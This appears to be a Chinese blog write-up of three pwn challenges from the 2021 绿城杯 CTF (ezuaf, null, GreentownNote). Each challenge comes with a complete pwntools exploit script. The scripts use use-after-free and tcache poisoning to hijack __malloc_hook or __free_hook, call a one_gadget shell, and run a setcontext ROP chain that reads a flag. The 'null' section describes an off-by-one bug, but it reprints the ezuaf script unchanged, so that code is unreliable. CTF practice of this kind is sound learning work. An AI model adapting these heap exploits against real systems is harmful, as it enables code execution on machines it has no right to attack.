2021绿城杯

前言

这次PWN题对我这种pwn👶可算是友好至极阿,感受一下大佬在比赛中的杀穿的快感!不过还是不要被这些假象迷了眼,其实还是个蹒跚学步的pwn👶,继续加油!

image-20211001115859860

ezuaf

image-20210929173017054

如题名字,存在UAF,借着UAF泄露libc地址,然后直接修改释放fastchunk的fd指针指向malloc_hook,劫持为one_gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!usr/bin/env python 
#coding=utf-8
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./uaf_pwn")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("82.157.5.28",51602)
def debug():
gdb.attach(p,"b main")

def add(size):
p.sendlineafter(">",'1')
p.recvuntil("size>")
p.sendline(str(size))

def edit(idx,content):
p.sendlineafter(">",'3')
p.recvuntil("index>")
p.sendline(str(idx))
p.recvuntil("content>")
p.send(content)

def show(idx):
p.sendlineafter(">",'4')
p.recvuntil("index>")
p.sendline(str(idx))

def free(idx):
p.sendlineafter(">",'2')
p.recvuntil("index>")
p.sendline(str(idx))

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

p.recvuntil("0x")
target = int(p.recv(12),16)
log.info("target==>0x%x" %target)
add(0x80)
add(0x60)
free(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4b78
log.info("libc_base==>0x%x" %libc_base)
mlh = libc_base + libc.sym['__malloc_hook']
ogg = libc_base + 0x4527a
add(0x60)
free(1)
free(2)
edit(2, p64(mlh - 0x23))
add(0x60)
add(0x60)
edit(4, p8(0)*3 + p64(0)*2 +p64(ogg))
#debug()
add(0x20)

p.interactive()

null

image-20210929173224666

在申请功能里面的输入点存在很明显的offbyone,通过offbyone制造overlap,可以泄露出libc,然后修改被重叠的fastchunk的fd指针指向malloc_hook,劫持为one_gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!usr/bin/env python 
#coding=utf-8
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./uaf_pwn")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("82.157.5.28",51602)
def debug():
gdb.attach(p,"b main")

def add(size):
p.sendlineafter(">",'1')
p.recvuntil("size>")
p.sendline(str(size))

def edit(idx,content):
p.sendlineafter(">",'3')
p.recvuntil("index>")
p.sendline(str(idx))
p.recvuntil("content>")
p.send(content)

def show(idx):
p.sendlineafter(">",'4')
p.recvuntil("index>")
p.sendline(str(idx))

def free(idx):
p.sendlineafter(">",'2')
p.recvuntil("index>")
p.sendline(str(idx))

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

p.recvuntil("0x")
target = int(p.recv(12),16)
log.info("target==>0x%x" %target)
add(0x80)
add(0x60)
free(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4b78
log.info("libc_base==>0x%x" %libc_base)
mlh = libc_base + libc.sym['__malloc_hook']
ogg = libc_base + 0x4527a
add(0x60)
free(1)
free(2)
edit(2, p64(mlh - 0x23))
add(0x60)
add(0x60)
edit(4, p8(0)*3 + p64(0)*2 +p64(ogg))
#debug()
add(0x20)

p.interactive()

GreentownNote

image-20210929172949043

程序存在UAF,借着UAF把堆块劫持到tcache上,获得libc,同时修改tcache结构,获得任意地址写

因为开了沙箱,所以堆上布置rop链进行orw

最后释放堆块触发setcontext去执行到rop

嘿嘿,经过一段时间的学习,总算掌握了这种在堆上布置rop链的手法了,该去学习新的知识了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
elf = ELF("./GreentownNote")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("82.157.5.28", 52301)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("> Your choice :",'1')
p.recvuntil("> Note size :")
p.sendline(str(size))
p.recvuntil("> Content :")
p.send(content)

def show(idx):
p.sendlineafter("> Your choice :",'2')
p.recvuntil("| Index :")
p.sendline(str(idx))
p.recvuntil("| Content: ")

def free(idx):
p.sendlineafter("> Your choice :",'3')
p.recvuntil("| Index :")
p.sendline(str(idx))

add(0xf8,'a')
free(0)
free(0)
show(0)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x260
log.info("heap_base==>0x%x" %heap_base)
add(0xf8,p64(heap_base + 0x10))
add(0xf8,'./flag\x00')
add(0xf8,p64(0x0707070707070707)*8)
free(2)
show(2)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebca0
log.info("libc_base==>0x%x" %libc_base)
setcontext = libc_base + libc.sym['setcontext'] + 53
free_hook = libc_base + libc.sym['__free_hook']
syscall = next(libc.search(asm("syscall\nret"))) + libc_base
pop_rdi = next(libc.search(asm('pop rdi\nret'))) + libc_base
pop_rsi = next(libc.search(asm('pop rsi\nret'))) + libc_base
pop_rdx = next(libc.search(asm('pop rdx\nret'))) + libc_base
pop_rax = next(libc.search(asm('pop rax\nret'))) + libc_base
ret = 0x00000000000008aa + libc_base
read = libc.sym['read'] + libc_base
write = libc.sym['write'] + libc_base
flag_addr = heap_base + 0x260
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(write)

add(0xf8,p64(0)*17 + p64(free_hook) + p64(heap_base + 0x1000) + p64(heap_base + 0x10c0))
add(0xa0,p64(setcontext))
add(0xb8,p64(0)*20 + p64(heap_base + 0x10c0) + p64(ret))
add(0xc8,rop)
free(4)
p.interactive()
查看评论